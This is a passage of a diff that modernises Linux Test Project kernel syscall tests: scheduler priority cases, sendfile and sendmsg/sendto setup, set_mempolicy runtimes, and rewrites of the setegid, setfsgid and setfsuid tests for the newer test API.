b/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c @@ -2,6 +2,7 @@ /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. * Copyright (c) 2021 sujiaxun + * Copyright (c) Linux Test Project, 2009-2022 */ /*\ @@ -10,12 +11,14 @@ * Basic test for the sched_get_priority_max(2) system call. * * Obtain different maximum priority for different schedulling policies and - * compare them with expected value. + * compare them with the expected value. */ +#define _GNU_SOURCE + #include -#include "lapi/syscalls.h" #include "tst_test.h" +#include "lapi/sched.h" #define POLICY_DESC(x) .desc = #x, .policy = x @@ -24,14 +27,16 @@ static struct test_case { int policy; int retval; } tcases[] = { - {POLICY_DESC(SCHED_OTHER), 0}, + {POLICY_DESC(SCHED_BATCH), 0}, + {POLICY_DESC(SCHED_DEADLINE), 0}, {POLICY_DESC(SCHED_FIFO), 99}, - {POLICY_DESC(SCHED_RR), 99} + {POLICY_DESC(SCHED_IDLE), 0}, + {POLICY_DESC(SCHED_OTHER), 0}, + {POLICY_DESC(SCHED_RR), 99}, }; static void run_test(unsigned int nr) { - struct test_case *tc = &tcases[nr]; TST_EXP_VAL(tst_syscall(__NR_sched_get_priority_max, tc->policy), diff --git a/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c b/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c index cebd08d3..05cb9d1d 100755 --- a/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c +++ b/testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c @@ -2,6 +2,7 @@ /* * Copyright (c) Wipro Technologies Ltd, 2002. All Rights Reserved. * Copyright (c) 2021 sujiaxun + * Copyright (c) Linux Test Project, 2009-2022 */ /*\ @@ -9,14 +10,15 @@ * * Basic test for the sched_get_priority_min(2) system call. * - * Obtain different minimum priority scheduling strategies and + * Obtain different minimum priority for different schedulling policies and * compare them with the expected value. */ -#include +#define _GNU_SOURCE + #include #include "tst_test.h" -#include "lapi/syscalls.h" +#include "lapi/sched.h" #define POLICY_DESC(x) .desc = #x, .policy = x @@ -25,9 +27,12 @@ static struct test_case { int policy; int retval; } tcases[] = { - {POLICY_DESC(SCHED_OTHER), 0}, + {POLICY_DESC(SCHED_BATCH), 0}, + {POLICY_DESC(SCHED_DEADLINE), 0}, {POLICY_DESC(SCHED_FIFO), 1}, - {POLICY_DESC(SCHED_RR), 1} + {POLICY_DESC(SCHED_IDLE), 0}, + {POLICY_DESC(SCHED_OTHER), 0}, + {POLICY_DESC(SCHED_RR), 1}, }; static void run_test(unsigned int nr) diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c index 2a2c13a4..c1715d8a 100755 --- a/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c +++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr01.c @@ -22,17 +22,14 @@ #include #include #include -#include #include #include "test.h" -#include "lapi/syscalls.h" #include "lapi/sched.h" char *TCID = "sched_getattr01"; int TST_TOTAL = 1; -#define SCHED_DEADLINE 6 #define RUNTIME_VAL 10000000 #define PERIOD_VAL 30000000 #define DEADLINE_VAL 30000000 diff --git a/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c b/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c index 2d7e15a4..9f4a09f8 100755 --- a/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c +++ b/testcases/kernel/syscalls/sched_getattr/sched_getattr02.c @@ -31,11 +31,9 @@ #include #include #include -#include #include #include "test.h" -#include "lapi/syscalls.h" #include "lapi/sched.h" char *TCID = "sched_getattr02"; diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c index 44724215..597de466 100755 --- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c +++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c @@ -69,7 +69,7 @@ static void run(void) } if (proc_flag) - TST_ASSERT_INT("/proc/sys/kernel/sched_rr_timeslice_ms", tst_ts_to_ms(tp)); + TST_ASSERT_INT(PROC_SCHED_RR_TIMESLICE_MS, tst_ts_to_ms(tp)); } static struct tst_test test = { @@ -79,6 +79,7 @@ static struct tst_test test = { .needs_root = 1, .tags = (const struct tst_tag[]) { {"linux-git", "975e155ed873"}, + {"linux-git", "c7fcb99877f9"}, {} } }; diff --git a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c index 37ca56a0..d5178e01 100755 --- a/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c +++ b/testcases/kernel/syscalls/sched_setattr/sched_setattr01.c @@ -29,7 +29,6 @@ #include #include #include -#include #include #include "test.h" @@ -37,7 +36,6 @@ char *TCID = "sched_setattr01"; -#define SCHED_DEADLINE 6 #define RUNTIME_VAL 10000000 #define PERIOD_VAL 30000000 #define DEADLINE_VAL 30000000 diff --git a/testcases/kernel/syscalls/select/select01.c b/testcases/kernel/syscalls/select/select01.c index 4bf38616..a90aeb89 100755 --- a/testcases/kernel/syscalls/select/select01.c +++ b/testcases/kernel/syscalls/select/select01.c @@ -45,7 +45,7 @@ static void run(unsigned int n) timeout.tv_usec = 100000; if (tc->writefd) { - SAFE_WRITE(0, *tc->writefd, &buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ANY, *tc->writefd, &buf, sizeof(buf)); exp_ret++; } diff --git a/testcases/kernel/syscalls/select/select_var.h b/testcases/kernel/syscalls/select/select_var.h index a17b2fdd..a945fa6b 100755 --- a/testcases/kernel/syscalls/select/select_var.h +++ b/testcases/kernel/syscalls/select/select_var.h @@ -5,8 +5,8 @@ #ifndef SELECT_VAR__ #define SELECT_VAR__ -#include "lapi/syscalls.h" #include "tst_timer.h" +#include "lapi/syscalls.h" struct compat_sel_arg_struct { long _n; diff --git a/testcases/kernel/syscalls/sendfile/sendfile02.c b/testcases/kernel/syscalls/sendfile/sendfile02.c index ffd65488..8e88dec2 100755 --- a/testcases/kernel/syscalls/sendfile/sendfile02.c +++ b/testcases/kernel/syscalls/sendfile/sendfile02.c @@ -44,7 +44,7 @@ static void setup(void) fd = SAFE_CREAT(IN_FILE, 00700); sprintf(buf, "abcdefghijklmnopqrstuvwxyz"); - SAFE_WRITE(1, fd, buf, strlen(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, strlen(buf)); SAFE_CLOSE(fd); fd = SAFE_CREAT(OUT_FILE, 00700); diff --git a/testcases/kernel/syscalls/sendfile/sendfile04.c b/testcases/kernel/syscalls/sendfile/sendfile04.c index 9a8ec08b..4fa74813 100755 --- a/testcases/kernel/syscalls/sendfile/sendfile04.c +++ b/testcases/kernel/syscalls/sendfile/sendfile04.c @@ -14,6 +14,7 @@ * [Algorithm] * * Given wrong address or protected buffer as OFFSET argument to sendfile: + * * - a wrong address is created by munmap a buffer allocated by mmap * - a protected buffer is created by mmap with specifying protection */ diff --git a/testcases/kernel/syscalls/sendfile/sendfile05.c b/testcases/kernel/syscalls/sendfile/sendfile05.c index e271a47d..691ed973 100755 --- a/testcases/kernel/syscalls/sendfile/sendfile05.c +++ b/testcases/kernel/syscalls/sendfile/sendfile05.c @@ -39,7 +39,8 @@ static void run(void) off_t offset = -1; TST_EXP_FAIL(sendfile(out_fd, in_fd, &offset, 1), EINVAL, - "sendfile(out, in, &offset, ..) with offset=%ld", offset); + "sendfile(out, in, &offset, ..) with offset=%lld", + (long long int)offset); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/sendfile/sendfile06.c b/testcases/kernel/syscalls/sendfile/sendfile06.c index 6133be4d..2168da72 100755 --- a/testcases/kernel/syscalls/sendfile/sendfile06.c +++ b/testcases/kernel/syscalls/sendfile/sendfile06.c @@ -31,7 +31,7 @@ static void setup(void) fd = SAFE_CREAT(IN_FILE, 00700); sprintf(buf, "abcdefghijklmnopqrstuvwxyz"); - SAFE_WRITE(1, fd, buf, strlen(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, strlen(buf)); SAFE_FSTAT(fd, &sb); SAFE_CLOSE(fd); diff --git a/testcases/kernel/syscalls/sendfile/sendfile08.c b/testcases/kernel/syscalls/sendfile/sendfile08.c index 48a971bf..66fd40ca 100755 --- a/testcases/kernel/syscalls/sendfile/sendfile08.c +++ b/testcases/kernel/syscalls/sendfile/sendfile08.c @@ -52,12 +52,12 @@ static void run(void) static void setup(void) { in_fd = SAFE_CREAT(IN_FILE, 0700); - SAFE_WRITE(1, in_fd, TEST_MSG_IN, strlen(TEST_MSG_IN)); + SAFE_WRITE(SAFE_WRITE_ALL, in_fd, TEST_MSG_IN, strlen(TEST_MSG_IN)); SAFE_CLOSE(in_fd); in_fd = SAFE_OPEN(IN_FILE, O_RDONLY); out_fd = SAFE_OPEN(OUT_FILE, O_TRUNC | O_CREAT | O_RDWR, 0777); - SAFE_WRITE(1, out_fd, TEST_MSG_OUT, strlen(TEST_MSG_OUT)); + SAFE_WRITE(SAFE_WRITE_ALL, out_fd, TEST_MSG_OUT, strlen(TEST_MSG_OUT)); } static void cleanup(void) @@ -71,7 +71,6 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = run, - .min_kver = "2.6.33", .tags = (const struct tst_tag[]) { {"linux-git", "2cb4b05e76478"}, {} diff --git a/testcases/kernel/syscalls/sendfile/sendfile09.c b/testcases/kernel/syscalls/sendfile/sendfile09.c index 320649dc..4a2d2083 100755 --- a/testcases/kernel/syscalls/sendfile/sendfile09.c +++ b/testcases/kernel/syscalls/sendfile/sendfile09.c @@ -51,7 +51,7 @@ static void setup(void) fd = SAFE_CREAT(IN_FILE, 00700); for (i = 1; i <= (4 * 1024); ++i) { SAFE_LSEEK(fd, 1024 * 1024 - 1, SEEK_CUR); - SAFE_WRITE(1, fd, "C", 1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "C", 1); } SAFE_CLOSE(fd); @@ -96,7 +96,7 @@ static struct tst_test test = { .setup = setup, .test = run, .tcnt = ARRAY_SIZE(tc), - .min_kver = "2.6.33", + .max_runtime = 120, .tags = (const struct tst_tag[]) { {"linux-git", "5d73320a96fcc"}, {} diff --git a/testcases/kernel/syscalls/sendmsg/sendmsg03.c b/testcases/kernel/syscalls/sendmsg/sendmsg03.c index c7d72f68..38459990 100755 --- a/testcases/kernel/syscalls/sendmsg/sendmsg03.c +++ b/testcases/kernel/syscalls/sendmsg/sendmsg03.c @@ -15,11 +15,9 @@ * * net: ipv4: fix for a race condition in raw_sendmsg */ -#define _GNU_SOURCE #include #include #include -#include #include "tst_test.h" #include "tst_fuzzy_sync.h" @@ -38,8 +36,8 @@ static void setup(void) { int i; - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); + tst_setup_netns(); + sockfd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_ICMP); memset(buf, 0xcc, PACKET_SIZE); @@ -105,6 +103,16 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 150, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS=y", + "CONFIG_NET_NS=y", + NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} + }, .tags = (const struct tst_tag[]) { {"linux-git", "8f659a03a0ba"}, {"CVE", "2017-17712"}, diff --git a/testcases/kernel/syscalls/sendto/sendto03.c b/testcases/kernel/syscalls/sendto/sendto03.c index 21738399..b07d5122 100755 --- a/testcases/kernel/syscalls/sendto/sendto03.c +++ b/testcases/kernel/syscalls/sendto/sendto03.c @@ -17,7 +17,6 @@ * net/packet: fix overflow in tpacket_rcv */ -#define _GNU_SOURCE #include #include #include @@ -25,7 +24,6 @@ #include #include #include -#include #include "tst_test.h" #include "tst_net.h" @@ -39,17 +37,9 @@ static struct sockaddr_ll bind_addr, addr; static void setup(void) { - int real_uid = getuid(); - int real_gid = getgid(); struct ifreq ifr; - SAFE_TRY_FILE_PRINTF("/proc/sys/user/max_user_namespaces", "%d", 10); - - SAFE_UNSHARE(CLONE_NEWUSER); - SAFE_UNSHARE(CLONE_NEWNET); - SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); - SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid); - SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid); + tst_setup_netns(); sock = SAFE_SOCKET(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); strcpy(ifr.ifr_name, "lo"); @@ -217,9 +207,9 @@ static struct tst_test test = { "CONFIG_NET_NS=y", NULL }, - .save_restore = (const char * const[]) { - "?/proc/sys/user/max_user_namespaces", - NULL, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, + {} }, .tags = (const struct tst_tag[]) { {"linux-git", "bcc5364bdcfe"}, diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c index 07f5d789..e9712b7b 100755 --- a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c +++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy01.c @@ -35,6 +35,15 @@ static void setup(void) nodes = tst_get_nodemap(TST_NUMA_MEM, 2 * PAGES_ALLOCATED * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); + + /* + * In most cases, set_mempolicy01 finish quickly, but when the platform + * has multiple NUMA nodes, the test matrix combination grows exponentially + * and bring about test time to increase extremely fast. + * + * Here reset the maximum runtime according to the NUMA nodes. + */ + tst_set_max_runtime(test.max_runtime * (1 << nodes->cnt/16)); } static void cleanup(void) @@ -110,6 +119,7 @@ static struct tst_test test = { .tcnt = 2, .forks_child = 1, .needs_checkpoints = 1, + .max_runtime = 600, }; #else diff --git a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c index 4399503c..2a1d2e1b 100755 --- a/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c +++ b/testcases/kernel/syscalls/set_mempolicy/set_mempolicy04.c @@ -40,9 +40,11 @@ static struct tst_nodemap *nodes; static void setup(void) { + int node_min_pages = FILES * (FILES + 1) / 2 * 10 + FILES * 10; + page_size = getpagesize(); - nodes = tst_get_nodemap(TST_NUMA_MEM, 20 * FILES * page_size / 1024); + nodes = tst_get_nodemap(TST_NUMA_MEM, node_min_pages * page_size / 1024); if (nodes->cnt <= 1) tst_brk(TCONF, "Test requires at least two NUMA memory nodes"); } diff --git a/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c b/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c index b8639a3d..30626d5e 100755 --- a/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c +++ b/testcases/kernel/syscalls/set_thread_area/set_thread_area01.c @@ -74,7 +74,7 @@ int main(int argc, char *argv[]) for (lc = 0; TEST_LOOPING(lc); lc++) { for (i = 0; i < sizeof(tests) / sizeof(struct test); i++) { - TEST(ltp_syscall(tests[i].syscall, tests[i].u_info)); + TEST(tst_syscall(tests[i].syscall, tests[i].u_info)); if (TEST_RETURN != tests[i].exp_ret) { tst_resm(TFAIL, "%s returned %li expected %i", diff --git a/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c b/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c index 20974a9e..11fa2754 100755 --- a/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c +++ b/testcases/kernel/syscalls/set_tid_address/set_tid_address01.c @@ -112,7 +112,7 @@ int main(int ac, char **av) for (lc = 0; TEST_LOOPING(lc); ++lc) { tst_count = 0; for (testno = 0; testno < TST_TOTAL; ++testno) { - TEST(ltp_syscall(__NR_set_tid_address, &newtid)); + TEST(tst_syscall(__NR_set_tid_address, &newtid)); if (TEST_RETURN == getpid()) { tst_resm(TPASS, "set_tid_address call succeeded: as expected %ld", diff --git a/testcases/kernel/syscalls/setdomainname/setdomainname.h b/testcases/kernel/syscalls/setdomainname/setdomainname.h index 12c8a088..dcacb0ac 100755 --- a/testcases/kernel/syscalls/setdomainname/setdomainname.h +++ b/testcases/kernel/syscalls/setdomainname/setdomainname.h @@ -7,9 +7,9 @@ #define SETDOMAINNAME_H__ #include +#include "tst_test.h" #include "lapi/utsname.h" #include "lapi/syscalls.h" -#include "tst_test.h" #define TST_VALID_DOMAIN_NAME "test_dom" diff --git a/testcases/kernel/syscalls/setegid/setegid01.c b/testcases/kernel/syscalls/setegid/setegid01.c index 25d7519a..eef66311 100755 --- a/testcases/kernel/syscalls/setegid/setegid01.c +++ b/testcases/kernel/syscalls/setegid/setegid01.c @@ -1,74 +1,26 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Dan Kegel 2003 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Test Name: setegid01 +/*\ + * [Description] * - * Test Description: - * Verify that setegid does not modify the saved gid or real gid. + * Verify that setegid() sets the effective UID of the calling process + * correctly, and does not modify the saved GID and real GID. */ -#define _GNU_SOURCE 1 #include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" - -char *TCID = "setegid01"; -int TST_TOTAL = 1; -static void setup(void); -static void setegid_verify(void); -static void cleanup(void); +#include "tst_test.h" static gid_t nobody_gid; -int main(int argc, char **argv) -{ - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - setegid_verify(); - } - - cleanup(); - tst_exit(); -} - static void setup(void) { struct passwd *nobody; - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - nobody = SAFE_GETPWNAM(cleanup, "nobody"); - + nobody = SAFE_GETPWNAM("nobody"); nobody_gid = nobody->pw_gid; } @@ -77,48 +29,28 @@ static void setegid_verify(void) gid_t cur_rgid, cur_egid, cur_sgid; gid_t orig_rgid, orig_egid, orig_sgid; - SAFE_GETRESGID(cleanup, &orig_rgid, &orig_egid, &orig_sgid); - tst_resm(TINFO, "getresgid reports rgid %d, egid %d, sgid %d", - orig_rgid, orig_egid, orig_sgid); - - tst_resm(TINFO, "calling setegid(nobody_gid %d)", nobody_gid); - SAFE_SETEGID(cleanup, nobody_gid); + SAFE_GETRESGID(&orig_rgid, &orig_egid, &orig_sgid); + tst_res(TINFO, "getresgid() reports rgid: %d, egid: %d, sgid: %d", + orig_rgid, orig_egid, orig_sgid); - SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid); - tst_resm(TINFO, "getresgid reports rgid %d, egid %d, sgid %d", cur_rgid, - cur_egid, cur_sgid); + tst_res(TINFO, "call setegid(nobody_gid %d)", nobody_gid); + SAFE_SETEGID(nobody_gid); - /* make sure it at least does what its name says */ - if (nobody_gid != cur_egid) { - tst_resm(TFAIL, "setegid() failed to change the effective gid"); - return; - } + SAFE_GETRESGID(&cur_rgid, &cur_egid, &cur_sgid); + tst_res(TINFO, "getresgid() reports rgid: %d, egid: %d, sgid: %d", + cur_rgid, cur_egid, cur_sgid); - /* SUSv3 says the real group ID and saved set-gid must - * remain unchanged by setgid. See - * http://www.opengroup.org/onlinepubs/007904975/functions/setegid.html - */ - if (orig_sgid != cur_sgid) { - tst_resm(TFAIL, "setegid() changed the saved set-gid"); - return; - } - if (orig_rgid != cur_rgid) { - tst_resm(TFAIL, "setegid() changed the real gid"); - return; - } + TST_EXP_EQ_LU(nobody_gid, cur_egid); + TST_EXP_EQ_LU(orig_rgid, cur_rgid); + TST_EXP_EQ_LU(orig_sgid, cur_sgid); - SAFE_SETEGID(cleanup, orig_egid); - - SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &orig_sgid); - - if (orig_egid != cur_egid) { - tst_resm(TFAIL, "setegid() failed to reset effective gid back"); - return; - } - - tst_resm(TPASS, "setegid() passed functional test"); + SAFE_SETEGID(orig_egid); + SAFE_GETRESGID(&cur_rgid, &cur_egid, &orig_sgid); + TST_EXP_EQ_LU(orig_egid, cur_egid); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .test_all = setegid_verify, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/setegid/setegid02.c b/testcases/kernel/syscalls/setegid/setegid02.c index 7c60a9cf..66a8a07f 100755 --- a/testcases/kernel/syscalls/setegid/setegid02.c +++ b/testcases/kernel/syscalls/setegid/setegid02.c @@ -1,87 +1,39 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014 Fujitsu Ltd. * Author: Zeng Linggang - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * DESCRIPTION - * The calling process is not privileged and euid is not appropriate, - * EPERM should return. + +/*\ + * [Description] + * + * Verify that setegid() fails with EPERM when the calling process is not + * privileged and egid does not match the current real group ID, + * current effective group ID, or current saved set-group-ID. */ -#include #include -#include "test.h" -#include "safe_macros.h" - -char *TCID = "setegid02"; -int TST_TOTAL = 1; -static void setup(void); -static void setegid_verify(void); -static void cleanup(void); +#include "tst_test.h" static struct passwd *ltpuser; -int main(int argc, char *argv[]) -{ - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - setegid_verify(); - } - - cleanup(); - tst_exit(); -} - static void setup(void) { - tst_require_root(); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - ltpuser = SAFE_GETPWNAM(cleanup, "nobody"); - - SAFE_SETEUID(cleanup, ltpuser->pw_uid); + ltpuser = SAFE_GETPWNAM("nobody"); + SAFE_SETEUID(ltpuser->pw_uid); } static void setegid_verify(void) { - TEST(setegid(ltpuser->pw_gid)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "setegid(%d) succeeded unexpectedly", - ltpuser->pw_gid); - return; - } - - if (TEST_ERRNO == EPERM) { - tst_resm(TPASS | TTERRNO, "setegid failed as expected"); - } else { - tst_resm(TFAIL | TTERRNO, - "setegid failed unexpectedly; expected: %d - %s", - EPERM, strerror(EPERM)); - } + TST_EXP_FAIL(setegid(ltpuser->pw_gid), + EPERM, + "setegid(%d)", + ltpuser->pw_gid); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .test_all = setegid_verify, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/setfsgid/setfsgid01.c b/testcases/kernel/syscalls/setfsgid/setfsgid01.c index 45d89c0c..5b594b2d 100755 --- a/testcases/kernel/syscalls/setfsgid/setfsgid01.c +++ b/testcases/kernel/syscalls/setfsgid/setfsgid01.c @@ -1,86 +1,48 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 * Ported by Wayne Boyer - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Testcase to check the basic functionality of setfsgid(2) system call. +/*\ + * [Description] + * + * Verify that setfsgid() correctly updates the filesystem group ID + * to the value given in fsgid argument. */ -#include +#include #include -#include -#include -#include - -#include "test.h" -#include "compat_16.h" -TCID_DEFINE(setfsgid01); -int TST_TOTAL = 1; +#include "tst_test.h" +#include "compat_tst_16.h" -static void setup(void); -static void cleanup(void); +static gid_t nobody_gid; -int main(int ac, char **av) +static void setup(void) { - int lc; - - gid_t gid; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); + struct passwd *nobody; - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - gid = getegid(); - GID16_CHECK(gid, setfsgid, cleanup); - - TEST(SETFSGID(cleanup, gid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, - "setfsgid() failed unexpectedly"); - continue; - } - - if (TEST_RETURN != gid) { - tst_resm(TFAIL, "setfsgid() returned %ld, expected %d", - TEST_RETURN, gid); - } else { - tst_resm(TPASS, - "setfsgid() returned expected value : %ld", - TEST_RETURN); - } - } - - cleanup(); - tst_exit(); + nobody = SAFE_GETPWNAM("nobody"); + nobody_gid = nobody->pw_gid; } -static void setup(void) +static void run(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); + gid_t gid; - TEST_PAUSE; -} + gid = getegid(); + GID16_CHECK(gid, setfsgid); -static void cleanup(void) -{ + SAFE_SETEUID(0); + TST_EXP_VAL(SETFSGID(nobody_gid), gid); + TST_EXP_VAL(SETFSGID(-1), nobody_gid); + TST_EXP_VAL_SILENT(SETFSGID(gid), nobody_gid); } + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/setfsuid/setfsuid01.c b/testcases/kernel/syscalls/setfsuid/setfsuid01.c index 63f9f5dd..9805e38b 100755 --- a/testcases/kernel/syscalls/setfsuid/setfsuid01.c +++ b/testcases/kernel/syscalls/setfsuid/setfsuid01.c @@ -1,87 +1,45 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 * Ported by Wayne Boyer - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * Testcase to test the basic functionality of the setfsuid(2) system call. +/*\ + * [Description] + * + * Verify that setfsuid() correctly updates the filesystem user ID + * to the value given in fsuid argument. */ -#include -#include -#include -#include -#include +#include +#include "tst_test.h" +#include "compat_tst_16.h" -#include "test.h" -#include "compat_16.h" +static uid_t nobody_uid; -static void setup(void); -static void cleanup(void); +static void setup(void) +{ + struct passwd *nobody; -TCID_DEFINE(setfsuid01); -int TST_TOTAL = 1; + nobody = SAFE_GETPWNAM("nobody"); + nobody_uid = nobody->pw_uid; +} -int main(int ac, char **av) +static void run(void) { - int lc; - uid_t uid; - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - uid = geteuid(); - UID16_CHECK(uid, setfsuid, cleanup); - - for (lc = 0; TEST_LOOPING(lc); lc++) { + UID16_CHECK(uid, setfsuid); - tst_count = 0; - - TEST(SETFSUID(cleanup, uid)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, - "setfsuid() failed unexpectedly"); - continue; - } - - if (TEST_RETURN != uid) { - tst_resm(TFAIL, "setfsuid() returned %ld, expected %d", - TEST_RETURN, uid); - } else { - tst_resm(TPASS, - "setfsuid() returned expected value : %ld", - TEST_RETURN); - } - } - - cleanup(); - tst_exit(); + SAFE_SETEUID(0); + TST_EXP_VAL(SETFSUID(nobody_uid), uid, "setfsuid(%d)", nobody_uid); + TST_EXP_VAL(SETFSUID(-1), nobody_uid); } -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; -} - -static void cleanup(void) -{ -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/setfsuid/setfsuid02.c b/testcases/kernel/syscalls/setfsuid/setfsuid02.c index 5807bb6c..b81f307f 100755 --- a/testcases/kernel/syscalls/setfsuid/setfsuid02.c +++ b/testcases/kernel/syscalls/setfsuid/setfsuid02.c @@ -1,91 +1,35 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (C) International Business Machines Corp., 2001 * Ported by Wayne Boyer * Adapted by Dustin Kirkland (k1rkland@us.ibm.com) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or 